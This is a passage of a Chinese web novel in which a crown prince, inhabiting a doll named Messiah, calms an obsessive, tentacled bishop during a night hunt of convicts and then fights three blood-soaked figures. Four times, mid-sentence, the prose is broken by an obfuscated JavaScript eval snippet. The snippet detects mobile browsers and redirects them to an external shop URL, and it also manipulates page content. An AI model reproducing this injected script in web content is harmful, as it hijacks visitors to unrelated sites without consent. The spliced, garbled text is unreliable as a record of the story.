此时,大多数附着在箭上的能量已经消耗殆尽,变回了平平无奇的金属利器,只有被关朔夜触须捕捉到的那一支,周边空气还在受到它的残余能量影响,零星发出一两记滋滋的电流声。 韧性电磁弹。 晏风之前听到这个声音的时候,已经确认了自己的猜测。 这是一种专门针对机械人形兵器的电子弹药,它通过电磁波动原理,攻击核心芯片引发电路无效化,能够短暂影响人偶的反射中枢。 被攻击到的人偶,会出现类似短路的症状。 虽然不算是杀伤力巨大的致命武器,充其量只是比较有战术针对性,但与其他抡着铁锤斧头就乱七八糟冲上来的罪人同行相比,属于有头脑的选择。 晏风想看看这位射术差劲的聪明人究竟是何方神圣,故意主动接近对方。 没料到,关朔夜会突然冲出来救他。 不过现在看起来是他多心了,事实是这个小孩拿着十字弓乱射,无意中恰好选择了能够伤害到人偶的特殊弹药。 女子显得手足无措。 把主教的人偶射伤属于什么罪名,她也不太清楚,只能努力为自己辩解:“是这样的,我们在补给点领取到一些武器,觉得这把十字弓比较容易操纵,所以拿给这孩子防身用……” 关朔夜并不在意女子的辩解,他若有所思地自语着:“您~?让我想想是哪一位呢……” “啊,是红琳女士,您的罪名是伪装成家庭教师,策划绑架某位权贵人物的幼子,用获得的赎金养育自己的孩子。” “真是富有创意的犯罪手段,但是在这个时代要伪装身份可不容易,该说您是爱子心切导致的铤而走险,还是完全不了解当今社会环境的险恶和严苛呢?” “而且……” 他的视线落在女子怀中的小孩身上:“这不是您的孩子吧?我希望您将陌生孩子带在身边,只是出于同情爱护弱者的天性使然,而不是企图重蹈覆辙,再绑一个孩子换取金钱。” 女子的神情一时有些尴尬,她嗫嚅着说:“孩子的父亲去世了,我一个人无力抚养……” 关朔夜微微一笑:“说谎话可不好,真神面前的一切罪恶都无所遁形,根据您之前的证词,您似乎是嫌弃教廷发放的救济金数目太少,即使克扣了孩子的生活费也不够自己挥霍。” “虽然我也没有资格要求领星的教众必须勤俭节约,但大多数时候,做事应该要量力而行吧?” “您说是不是呢?” 他说罢,也不在意女子的反应如何,转向站在一旁的弥赛亚人偶:“那么,最终审判的时候到了,我的宝贝,你是这起意外中的受害者,想要怎么处置这位可怜的女士?” 晏风暂时判断眼前的对手不具有威胁性,他对目标的涉案内容和犯罪动机不感兴趣:“我没有受伤,不需要谁为此负责。” “哦~是吗?”关朔夜的语气突然变得十分怪异。 晏风眉头一皱,感觉事情不妙。 还没等他来得及避开,几根触须突然从他的脚下冒出来,使劲一拽。 人偶直挺挺地摔倒在地。 触须温柔地抚摸着他,关朔夜柔声道:“宝贝,你明明被箭射伤了,要主人扶着才能起来。” 系统:“?” 晏风:“?” 女子和小孩:“?” 关朔夜毫不尴尬地微笑着:“宝贝你真的受伤了,让主人看看你的脸颊。” 弥赛亚白皙的脸颊侧面,有一小块淡色的痕迹,像是被什么东西烧灼到。 以人偶的特殊材质,这种程度的痕迹就像人类的一点点皮外伤,发现以后根本来不及去医院包扎就痊愈了,何谈扶着才能起来。 这是刚刚最后的那一次攻击,刺箭被触手阻挡下来的时候,能量余韵冲击到人偶身体留下的伤口。 晏风躺在地上:“我是人偶,并不感觉到疼痛。” 关朔夜依然微笑着:“想清楚了再说话,宝贝。” 晏风:“真的不痛。” 关朔夜微笑着凝视他。 晏风感觉气氛突然森冷入骨,他斟酌了一下词句:“……由主人亲手雕琢的造物……” “……没有理由,那么容易碎裂。” 略微的沉默。 关朔夜的微笑仿佛融化在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002678|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上,变成一张虚伪而恐怖的面具。 安慰没有效果,气氛越发不对。 旁观的女子根本不明白发生了什么,她发呆地抱着孩子站在树下,潜意识里感到一种怪异的恐惧,想立刻转身逃跑却没有勇气。 只有系统在晏风脑海里大喊:“他心跳加速!” “他血压升高,他呼吸急促!” “殿下他很担心你!” “他担心死了!” 晏风:“……” 晏风:“我是人偶,不会受伤。” 没想到在这个毫无准备的时机,他会遭遇这家伙为他暴露真心,原来他竟然这么害怕人偶会因为他而受伤。 因为他的肆意,他的疏忽。 因为他在危机即将发生的时候没有及时赶到,害得他最重要的宝贝被弓箭射伤了脸颊,这是他不能原谅自己的失误。 关朔夜聆听着人偶安静的声音,姿态僵硬呆然不动,仿佛一时间被剥夺了所有的思考能力。 无数透明的触须在他身旁垂落,昭示着主人的脑内此时被某种情绪填满,无法进行额外的行动。 但,人偶不会质疑主人的怪异和恐怖。 人偶,也会体谅主人极致的敏感和脆弱。 人偶,永远会宽容主人的一切。 “我会一直在您身边,忠诚地侍奉您。” “永远不会离开您。” “但如果,您能呼唤我的名字,我会更高兴。” “请您呼唤我的名字,我的伤口就不会疼痛了。” 关朔夜顺着晏风的引导,发出梦呓般的自语:“当然可以,弥赛亚。” 晏风心神一动。 他记得他的名字。 但随即,他又看到关朔夜露出困惑的表情,自言自语道:“……你,是叫弥赛亚吗?” “还是萨梅尔?尼基塔?” 晏风感觉自己拳头硬了。 系统:“他真不是在逗您玩吗?” 晏风:“早晚我要让他身首异处。” 趁着关朔夜的注意力一时分散,晏风对树下的女子说:“你走吧。” “作为真神代行者的惩戒人偶,我认为你的罪名成立,但罪不至死,你可以从我手里逃走,但我不保证其他人偶会动手。” “留下孩子。” “带上你的武器,从我眼前消失。” 女子听到晏风的警告,如梦初醒地拼命点头。 她还是不太明白自己究竟看到了什么,只是刚才一瞬间突然感到一种濒死的恐惧,让她害怕得无处可逃。 然后,这具躺在地上的美貌人偶,就跟主教阁下开始了一番怪异的对话。 再然后,主教阁下就慢慢平静下来。 她也捡回一条命。 女子不敢在原地久留,她转身逃进森林,在黑暗中瑟瑟发抖地狂奔,尽快逃离这个是非之地。 就算遇到其他人偶的追杀也好,无论是谁,都比不上主教阁下给予的恐惧更黑暗,更深邃,让她回想起来就好像全身已经被撕成了碎片。 唯有那具名为弥赛亚的人偶,能够安抚主教阁下骤然失控的癫狂。 如果今晚能从森林里活着逃出去,女子决定将这段恐怖的亲身经历告诉每一个人。 真神的代行者,亦是癫狂的魔鬼。 传说毫无虚言。 但弥赛亚,是他唯一的平静之地。 22.执血的弥赛亚(12)撒娇 晏风躺在草地上。 夜露微凉,悄然沾湿了他垂落在眼前的发丝。 弥赛亚纤丽的面容被月光笼罩,人偶的神情一如既往平静温顺,与真人相比缺乏一丝鲜活气息。 金色眼瞳却在月色的映照下,仿佛染着一层朦胧水雾,令他抬头仰视主人的时候,眼中带着一种温柔含情的错觉。 这就是人偶永不背叛的,虚幻而真实的情意。 呼唤主人回归理性的温床。 险些遭受灭顶之灾的受害者已经顺利逃离,但晏风要尽到人偶的义务,继续安抚关朔夜直到他完全恢复。 在他视线上方,关朔夜依然姿态僵硬。 他像一具坏掉的脱线木偶,口中喃喃自语:“弥赛亚……” “是你,弥赛亚……” “是你……” “你……宽恕了……” 突然,他僵硬地一扭头,视线投向刚才那名女子曾经站立的树下。 他面朝着空气微笑地说:“所以,我的宝贝宽恕你了。” “请你感激他的宽容和仁慈,心中怀着对真神的敬畏和……” “嗯~?已经自行离开了吗?” “真是一位狡猾而懂得随机应变的女士,希望您在今后的赎罪人生里,也会一直记得像此刻这样,在适当的时机做正确的事情,不要再次堕入罪恶诱惑的深渊。” “那么,祝您晚安。” 关朔夜温和优雅地自顾自说了一通。 他的措辞礼貌而流畅,语气轻柔恰到好处,仿佛刚才姿态僵硬险些失控的事情,根本没有发生过。 他就像是一部唱片卡住的留声机,坏掉了一会儿以后突然恢复正常,继续又开始播放音乐。 这一切,都是弥赛亚人偶温柔抚慰的功劳。 虽然,晏风并不太想要这种功劳。 刚才熬过去的那几分钟里,他觉得包围着自己和关朔夜的每一丝空气都是怪异扭曲的,意识像是被什么东西污染了,不想再回头看。 系统提示晏风:“殿下,我们好像又挺过了一次危机,关主教恢复正常了。” 晏风:“我知道,让他继续自动播放吧,我想再躺一会儿,累。” 系统:“刚才有一瞬间,我以为一场单方面的厮杀在所难免。” 逃过死劫的女子并没有什么战斗力,触须能把她轻松撕成碎片。 晏风:“操控恐惧的节奏是人偶存在的意义,朔夜没那么傻,他发疯的时候会给自己上保险。” 系统:“您应该更自信一点,相信这是弥赛亚存在的意义,您的马甲在关主教心目中的地位,必定是独一无二的。” 晏风:“弥赛亚存在的意义,是在那家伙忘记我名字的时候,让他身首异处。” 所以他到最后还是不知道,关朔夜能不能分清楚弥赛亚和其他人偶的区别。 此时,远处那棵树下,只剩那名偷袭晏风的小孩还呆站在原地。 晏风命令逃离的女子留下这个小孩,他衣着朴素,神情畏惧,像是哪个普通人家的孩童迷路到了这座恐怖的森林,矮小身影和周围阴森的气氛格格不入。 小孩似乎被眼前发生的一切吓坏了,害怕地倚靠在大树旁边,手里握着十字弓一脸迷茫无措。 他完全不知道自己为什么会在这里,又应该做什么,甚至在刚才乱局里没人注意到的时候,他也不敢试着转身逃跑。 从补给点取用的弓箭已经全部消耗完,这使他手中唯一能够防身的武器十字弓,成为了一件毫无用处的玩具。 假如放任他胡乱走动,在森林里游荡的任何一名成年人类或者惩戒人偶,都能轻易伤害他。 关朔夜发疯之余,倒是能分清楚基本的伦理道德,他没有忘记处置这个小孩: “……至于你,小诗。” “住在领星东部港湾地区的儿童公民,年龄六岁,罪名是在糖果店偷了三颗糖。” “虽然也有三的关键词吧……但到底是谁,不带脑子就把这么小的孩子抓过来,需要更新人偶的思维模块了……” 他喃喃地抱怨着。 小孩似乎能够听懂关朔夜语气中的同情,他的眼里溢出泪水,身体拼命朝着大树倚靠地更紧一些,像是要把自己藏进树洞里。 关朔夜显然并不希望因为这种意外给教廷招惹什么麻烦,他挥了挥手,一团雾气在小孩身旁悄无声息地弥漫开,雾里依稀可见一些零星的能量光点。 “我打开了紧急通讯信道,你从那里走出去,会有人送你回家。”他对小孩说。 “至于惩戒方式,就在回家之前写一份检讨书吧,好好反省自己偷糖的错误。” 堕落癫狂的主教阁下,面对手无缚鸡之力的孩童,语气里没有了那种让人后背发凉的优雅腔调,公事公办的模样看起来竟然像个正常人。 正常的局面没有维持太久。 小孩可能是被吓呆了,他分明将主教的命令听得很清楚,但依然站在原地没有动弹,也不敢说话。 关朔夜等待了一会儿,见小孩傻站着不动,有点不耐烦。 垂落在草地上的触须再次蠕动起来,几根透明触须移动到小孩背后,推着他迈开脚步走动,朝着通讯信道的方向走去。 小孩从没见过这种怪物,一时害怕地发出惊呼,身体被触须推着走,忙乱中将手里的十字弓掉在地上。 一同掉落的,还有衣袋里的几颗糖。 但小孩似乎没有觉察自己的零食遗落,走出几步就被触须推进信道里,身影消失在雾气中。 目送小孩安全离开森林,关朔夜松了一口气。 终于把所有麻烦都解决了。 他姿态放松地坐回椅子里,视线在空气中缓缓游移。 最后,落到某个位置。 晏风依然躺在草地上。 关朔夜垂眸凝视着他。 两人相视无言。 夜色寂静,一时间谁也没有说话。 系统:“他是不是忘记什么事了?好意思就这样让他的宝贝人偶一直躺在冷冰冰的草地上?” 话音刚落,关朔夜开口道:“宝贝,没有忘记什么事吗?” 晏风:倒反天罡。 到底是谁忘记。 不来主动扶起他已经是极度失礼的行为,难道还要他自己爬起来讲话吗。 让这家伙身首异处的时候,可能真的到了。 晏风寻思着打算动手,没等他决定好是要用人偶的手指利刃切断关朔夜的几根触须,还是直接把他连人带椅子切成两半,手腕突然被异物卷住。 视线一晃,他整个身体飞起来。 落到关朔夜怀里。 晏风:“? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006696|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 夜风吹拂的森林里,不知从何处传来压抑的惊呼。 有人在附近好奇窥视,之前被触须追杀而四散逃走的罪人们,被这里长时间混乱的动静吸引,又偷偷聚拢过来。 关朔夜对那些声音置若罔闻,他翠绿的眼眸透过玻璃镜片,从咫尺距离深邃地凝视着弥赛亚:“我的宝贝,为什么忘记主动扑到主人怀里来呢?” “向主人撒娇,哭诉,诉说你受伤的疼痛。” “我什么都会给你的。” “金钱,珠宝,武器,更强更有杀伤力的身体零件,还是新衣服?” “我全部都会给你的。” “向我撒娇吧。” 晏风木然了一会儿。 他觉得自己现在应该说些什么,但脑子里好像一片空白。 这是与人偶吃饭洗澡游戏完全不同的场景,关朔夜此刻的视线完全落在他身上,与他专注暧昧地温柔细语。 他很认真。 他没有脱离担心人偶受伤的阴影,只是换了一种表达方式。 触发真心开关的影响,比晏风想象中更有效。 但……可能类似的开关不止这一个。 想了想,他喊系统:“搜索我和朔夜所有相处的资料。” 系统:“……啊?哦!” 系统似乎也宕机了,呆了几秒钟才开始执行命令,稍后他提示晏风:“殿下,您需要知晓的是资料库里没有马甲和目标相处的具体记忆,仅仅残留一些受损的数据包等待修复。” 晏风:“无妨,只要检查加密数据包的数量。” 在和目标相处的过程中,重要资料会在系统空间里加密保存,虽然眼前的境况靠着这些受损的资料帮不上忙,至少或许可以印证他的某种猜测。 很快,系统提示:“向您报告搜索结果,您和关主教相处的加密数据……有三百多个。” 晏风:“多少?” 系统:“……您二位相处的记忆,有三百多个马赛克。” 晏风:“行吧。” 数量有些出乎意料,但猜测方向正确。 触动关键剧情,才能点燃隐蔽的干柴烈火,他在失忆之前把这些掌握得很熟练。 那边,关朔夜还在把人偶抱在怀里,温柔细语:“宝贝,你想要什么?” “为什么总是不说话,是有什么心事吗?” 晏风突然心生一种复杂的感觉,他终于明白为什么他始终看不透关朔夜对待人偶的真心,原来问题是出在他自己一直没有表现出正确的反应。 是他自己的角色扮演,有点没到位。 仅仅是冷静,听话,温顺,完美执行主教的一切指令。 是不够的。 人偶,会跟主人互动。 而且这种互动不太寻常,证据就是关朔夜并没有觉得人偶躺在地上哪里不对劲,他相信他只是在选择一个合适的时间扑进主人怀里撒娇,或者做些其他什么让主人惊喜的事情。 意识空间里,晏风若有所思。 系统以为他遇到难题:“殿下不必自责,您作为真人确实很难模拟出人偶的行动方式。” 晏风:“不,朔夜想要的不是人偶。” “是我。” “我演得不好,是因为……” “因为我,扮演得不像我自己。” 23.执血的弥赛亚(13)贪婪 一旦理解关朔夜的真心所在,晏风就明白他在人偶身上寻求的是什么。 并且知道,自己是如何利用这层关系。 顺从的奴仆,主教随时可以召唤。 臣服的工具,以真神的威压也可以随时洗脑创造,只需向教廷的敌人和对手施以足够的恐惧。 唯独永不背叛的情感,关朔夜无法拥有。 这并非是因为没有人愿意主动向他投怀送抱,而是他对这份感情的来源早有期待。 如果对象不是那个人,他宁愿用虚假的人形造物来替代。 真人不配做他的替身。 “朔夜,真是贪婪。”晏风无奈一笑。 “他凭什么有资格,将我独占?” 马甲和真身的容貌气质会有几分相似,晏风在扮演弥赛亚的时候参透了关朔夜的心思弱点,两人的特殊关系由此建立。 关系变化的节奏掌握在晏风手里,但他失忆状态下的演技水平不太稳定,像自己又不像自己,所以关朔夜会看起来时而清醒时不清醒。 当晏风的思绪离开马甲,人偶回归他原本出厂设置的言行举止,他们就会变回冰冷的工具和无情的主人。 系统:“这样的话,以主教阁下的心机程度,岂不是很容易发现人偶有问题?” 晏风:“他不会在意这种小事,他陷得太深了。” 系统:“所以您的意思是,如果刚才您受伤的时候及时撒娇,他可能就不会发疯?” 晏风:“没关系,也算积累了有用的经验。” 系统:“那您现在要撒娇吗?……问题是,您会撒娇吗,我好像从来没有见过。” 晏风:“倒也不是不行,但眼下的地方没有气氛。” 森林里,远近到处都是好奇偷窥的视线,人类八卦的激情总是能超脱对危机处境的恐惧。 晏风并不在意被人窥探到什么秘密,开放场合也无所谓,但他在意对方的身份。 身边这些层次低俗之人,偷窥他还不够资格。 系统:“果然是身份尊贵的殿下,做什么事情都很讲究格调。” 晏风:“一点洁癖,让你见笑了。” 太亲密的事情此刻做不到,只能稍微本色出演。 不必再伪装温顺安静,对晏风来说倒是轻松不少,他在关朔夜怀里抬起手指,指尖轻轻按住了他的玻璃镜框。 对人偶来说,这是对主人相当无礼的举止,但晏风现在不需要考虑人偶的言行限制,只要没有当场掉马甲,他可以随便一点。 “关于索取我的战损补偿……” “我认为,应当先汇报战果,而后再讨论这个问题。”他语气玩味地说。 关朔夜连连点头:“是的,宝贝说什么都对,那就开始汇报吧。” “原本我能将湖畔区域的罪人一网打尽,直到天亮为止都不会有一个人逃脱。” “但主人突然出现,打乱了我的计划。” 人偶的表情显得非常不悦。 “这就是我要汇报的内容,请问您打算如何挽回我的损失?” “主人确实有点冲动,但没有恶意,”关朔夜对于人偶突然闹脾气,一点都不在意,“我只是目睹宝贝在挨打,一时没有控制住。” “我会补偿你的,你想要什么?” 系统对他的反应十分诧异:“他好像根本没有发现人偶说话的语气变了。” 晏风:“因为这是朔夜的舒适区,这时候他的愉悦大于理智,舒缓情绪是他最需要的东西。” 系统:“是我又漏掉了什么吗?您好像突然就把关主教轻松拿捏住了。” 晏风:“我了解他而已,但还不能放松。” 人偶的指尖轻轻捻住关朔夜的玻璃镜框架子,弥赛亚轻声道:“那,我就要这个。” “要主人的眼镜。” 他提出了自己的要求。 晏风确实有点好奇,关朔夜不戴眼镜的时候是什么样子,继承主教之位以后,他就再也没有看到过。 关朔夜听到他的话突然眼神一变,触须揪住人偶的身体把他甩开,从自己怀里甩了出去。 晏风毫无防备,被甩到近处的树干上。 手脚被触须牢牢按住。 人偶的身体并不因为这个小小的暴力感到疼痛,但晏风莫名其妙,他只是随口一说,关朔夜却似乎非常抗拒自己的眼镜被别人碰触到,强烈回避了他。 座椅载着主教,一路滑动到人偶面前。 关朔夜有些歉意:“宝贝,非常抱歉,之前已经向你解释过,唯独眼镜不可以给你。” “你也不可以碰它,所有人都不可以。” “你忘记了吗?” 系统:“翻车预警。” 晏风:“行吧,我的好奇心倒是一直没变。” 不给就算了。 他准备从树干上下来,却发现自己不能动弹。 身体突然完全僵硬住。 弥赛亚的手脚,躯干,脖颈,指尖……人偶机械关节的每个部分都失去了知觉,推断是思维中枢和运动神经的连接线路被切断了。 关朔夜的触须在揪住他的那一刻,夺走了他的行动能力,防止他反抗或者逃跑。 晏风全身都被触须缠绕,宛如提线木偶被按在树上。 他一时以为关朔夜又要耍什么变态手段,在眼下的场合,这样会让他有点尴尬。 但关朔夜只是坐在椅子上抬头看着他,翠绿的眼眸里满是爱怜,那视线几乎黏在晏风身上与他痴缠,跟在圣堂里对着空气说话的冷漠神叨模样判若两人。 “难得的机会,就让主人好好检查你有没有受伤。”他柔声说。 “或许在我看不见的地方,你在坏人们手里受了很多委屈。” “你不愿说出来,不愿意让我担心,我全都明白。” “可我真的,真的害怕会失去你。” “如果你有三长两短,我该拿什么为你陪葬。” “那个女人刺伤你的场景,多么相似。” “就像妈妈杀我的时候一样。” “但我不会让你的身体留下半点伤痕,这世上的罪恶只配跪拜在你的利刃之下,恐惧于你的惩戒怒火而灰飞烟灭。” “纯洁无罪的世界,必然是你和我的最终归宿。” “我最重要的宝贝。” “永远不要离开我。” “……” “……” 声音宛如迷离梦呓。 关朔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011657|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜温情款款地诉说衷肠,仿佛一整夜都不会停止。 触须缠绕着人偶的身体,时而摸索,时而轻抚,温柔细腻的动作随着他的语气变化,仔细探查躯壳每一寸可能会遭受伤害的细处,轻轻打磨一些肉眼根本无法看清的损伤。 应当是难以描述的场面。 但关朔夜不停地在旁边说话,晏风的注意力被迫吸引过去。 能亲耳听到调查目标的真心倾诉,意味着他的任务取得了重大成果,然而关朔夜持续说个不停,晏风听得有点头痛,他眼前好像又回到在宫殿里被迫吃芒果的场景。 系统:“我这是看到了什么。” 系统:“看到一个数据压缩包在突然解压。” 目标在吐露真心。 但吐得太多,丝毫没考虑倾听的对象被吐了一头一脸。 系统:“殿下,关主教大概是憋了很久,他是不是把您马甲挂机期间积累的情绪一口气都吐出来了?” 晏风:“看来朔夜确实有很多精神压力,我有必要经常陪伴……或者说是监督他。” 晏风:“……嗯?” 脑海中,某个念头如梦初醒。 系统适时提醒:“殿下好像无意中悟出了马甲留在关主教身边的真正理由。” 相比获得力量,更加重要的理由。 陪伴他,监督他。 因为失忆而遗忘的理由,也是隐藏在三百多个马赛克里的秘密。 无论对方内心的忠诚怀有几分,晏风都会主动做出理性的选择,他必须熄灭一切可能引发主教失控的火苗,防止教廷和领星被真神化身的狂乱吞噬。 这是只有他才能做到的事。 疯癫,是关朔夜脆弱的面具。 他过于在意黑白错乱,善恶颠倒,无辜的人为此受伤。 他在意任何一点细小失误,任何可能会令他失去宛如自己半身的宝贝人偶,这是他灵魂最后的安全港湾。 教廷的权柄力量,是无数罪人心中恐惧的噩梦。 它血腥,无情而残酷。 真面目却犹如玻璃一般透明易碎。 而这一尊精美脆弱的器物,总是心甘情愿地被他所侍奉的皇太子掌控在手中。 无论他是否倾心于此。 亦或是,碎片也许会刺痛他。 晏风悬在半空,沉默不语。 系统提出建议:“友情提示,殿下身为皇太子,有权启动法仪司的弹劾程序,可以更换一位做事敷衍或者心思散漫的主教,掌握傀儡对您有好处也更安全。” 晏风:“我不。” 系统:“啊?这……为什么您嫌弃关主教这个那个,但又不肯剥夺他的主教身份,还很关心他的精神压力,冒着风险陪在他身边?” 系统:“我好像理解了,这就是所谓的‘撒娇’。” 晏风丝毫没有犹豫:“朔夜选择孤独战斗,马甲是我可以离他最近的地方。” “我不确定他此刻的眼神是在看谁,是清醒还是呓语。” “但无论他在看谁,我都会一如既往地看着他。” 即使相距万里星海,心意也从未改变。 他的心意。 他和他心意。 又远,又近。 24.执血的弥赛亚(14)赏赐 在关朔夜的位置,他已经可以随心所欲地拥有一切。 世间再无人胆敢质疑他出身卑微或者手段冷血,他稍动手指就能唤来无数名流权贵,争先恐后地向他敬献毕生所有。 教廷真神的化身,睥睨世间。 万物皆在他随心的一念。 除了晏风。 唯有他,他想独占。 他想要他做自己的提线木偶,像拥有弥赛亚那样的拥有他,皇权威严和教廷法则构建的重叠障碍,在狂热的爱意面前丝毫不值一提。 这是关朔夜内心欲念所在,又不敢对晏风诉说的话。 他害怕,那样会失去他。 成为一个让君主蒙羞的,罪孽臣子。 违背自己曾经的誓言。 晏风愿意暂时赐予他这份独占欲念的自由,这是关朔夜自身配得的一点赏赐。 晏风:“朔夜毫无疑问是教廷有史以来最偏执的掌权者,这也是他纯粹真神化身的证明,当初企图谋害他的人都是自寻死路。” 系统:“殿下,请原谅我只是看出关主教对您特别偏执。” 晏风:“你觉得神明应该有什么特点。” 系统:“……恋爱脑?” 晏风:“是绝对的权威意志,毫不妥协地以雷霆手段完全践行,我不是指那种滥杀无辜的低级方法。” “朔夜看起来脾气阴晴不定,但掌控混乱正是他的才能。” “以强权服人的臣子并不罕见,我需要的是能够在复杂多变的局势中将事件巧妙导向所期望的结果,并且意志完全不会动摇的人。” “有朔夜执掌教廷,是我的荣幸。” 系统:“好高的评价,虽然请再次原谅我只是看出关主教听不进别人说话……但都到这个地步了您还在抗拒什么,您两位马上结婚不好吗。” 晏风:“说不定会在将来某一天,但现在我们还要经受各自的考验,……他的话,需要将自己的身心操纵自如,毕竟我原本的身体受不住他的触须一下子发狂。” “得不到暂且摆在其次,帝国血脉的继承者绝无仅有,万一把我弄坏了他得拿自己来陪葬,除非他想篡位。” “但我觉得,他没有当皇帝的兴趣。” 系统很吃惊:“所以竟然是这么简单的理由,你们遮遮掩掩是怕在一起会发生暴力伤害?” 晏风:“朔夜思绪的欲念太强,稍有不慎会把我撕成碎片,至少目前我们不能在密闭环境里独处。” “大多数事情,行或者不行的道理本来就很浅显,有些关系越近只会越远。” “我明白,他也明白。” 系统:“你们真的好爱,哭了。” 晏风:“如果他失控越界,爱就不值一提。” “我不需要一个真正发疯的属下。” “但即使,有朝一日他终将碎裂……” “也要由我,亲手埋葬。” 坚定意志的誓言,柔情而冷酷。 是连接彼此情感的畸形纽带,却又饱含着浓烈的挚爱心意。 “至于我的考验,是要从他手中得到更多的力量,并且在危机到来的场合尽情发挥……” “比如现在。” 喀啦。 人偶指节微动。 早已被夺走一切行动能力的肢体,竟然脱离了主人的掌控。 弥赛亚抬起头,金色眼瞳的光泽从眸底褪去,取而代之映出一丝诡异阴森的红光。 一种特殊的力量,此刻在体内被唤醒。 他的视线在夜幕中游移,越过缠绕自己全身的触须,越过凝望着他的主人身影。 深红的瞳孔如同冰冷血蝎一般地滑过草地投向森林深处,最终锁定某种动静传来的方向。 在那里,几个人影正在朝着他们蹒跚走来。 借助昏暗的月色,能够勉强看出那是三名人类的形态,他们行走的姿势有种说不出的诡异,与常人相比,更像是某些不明生物在学习人类行走。 “来了吗。” 关朔夜温柔的声音飘散在风里。 他端坐在自己的座椅上,视线追随着人偶瞳孔探索的红光,悠然自得的神情仿佛对这一刻等待已久。 森林是人偶的游乐场,更是他的小花园。 被他放进这里的一切,都是什么,可能会变成什么,会在何时何地现出怎样的面目,对他来说都了如指掌。 他只需要制造一个恰当的时机,引对方现身。 但人偶不需要主人亲自动手。 晏风嫌弃关朔夜忙中添乱,他刚才已经被烦过一次了。 身份尊贵的主教,只需要行使惩戒罪人的神圣职责,何时何地都不能遗忘自己的首要任务,即使最亲密的部下遭受性命之虞也该面不改色。 而不要什么恋爱脑突然发作。 时间有限,今天暂时没有机会训诫他。 人偶缓缓移动身体,目光专注于此刻更重要的事情。 “歼灭模式,启动。” 弥赛亚纤丽的身影一晃,从触须的重重包围中消失。 下一秒,他出现在关朔夜身边。 “暂时没空陪你玩了。” “一边去。” 而后,他似乎觉得这样的措辞不够礼貌,重新说道:“请您到一边去。” 说罢,一脚踢在主教座椅的椅子腿上。 座椅载着主教,一路滑向捆绑过弥赛亚的那棵树,触须围着座椅连带主教的身体绕上好几圈,把他连人带椅子牢牢捆在上面。 关朔夜:“?” 晏风不给他挣扎的机会,独自返身离去。 远处,那几道人影正蹒跚走来。 越走越近。 从这个距离,终于能够看清那些东西的真正模样。 那是三个全身鲜红的血人。 红色的血泉不断从他们的头顶汩汩涌出,散发出浓烈的气味,血液流淌过他们的脸颊,将面部五官都浸泡地模糊不清,而后沿着脖颈流淌到身体,浸透全身的衣衫。 被浸湿的衣角不断滴落血渍,在血人们的脚下汇聚成一片潮湿的暗红。 从他们走来的方向,也留下一道道扭曲的血色痕迹。 几乎难以想象,一个人的体内流淌出那么多血以后,还能若无其事地站立和行走。 晏风冷眼凝视着他们。 三个人。 意味特殊的数字,恐怖惊悚的场面。 将世界卷入无尽的混乱,带来平静秩序的颠覆,却又不知真正目的为何。 但人偶,不会在意这些莫名其妙的传闻。 “三学徒的伎俩吗……” “我没有兴趣探究你们的目的和手段。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019262|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “死吧。” 弥赛亚吐出无情的话语,身体轻轻一跃。 落到高处。 深红瞳孔的眼中,猛然迸射出森冷的红光,如同两道巨大的血刃扫射向地面上的三个人。 一阵阵诡异的痛苦吼叫声响起。 光和血,在昏暗的夜色中交织。 今夜最后一场演出,是弥赛亚的血腥谢幕。 也是又一场,阴谋揭幕的舞台。 *** 一个名为阿新的青年,数分钟前在森林里仓皇地乱窜。 他穿着带兜帽的外套,乱发掩盖住半张脸,从装扮风格看起来是想走扮酷的路线,但逃窜的动作只让他显得狼狈和鬼祟。 与他衣着相同的还有两个伙伴,他们走散了。 这三个人在遭到律警司逮捕之前自称“新生代”,生活太过空虚,试图模仿电影里侠盗劫富济贫的手段盗取豪车,刚一动手就被大数据抓取,关进了拘留所。 刑满释放以后,重蹈覆辙。 又被抓住。 由于是前科累犯,且公民身份隶属教廷,三人落到了惩戒人偶的手里,因为不凑巧地符合三的数字,被关朔夜筛选到参与今晚的狩猎游戏。 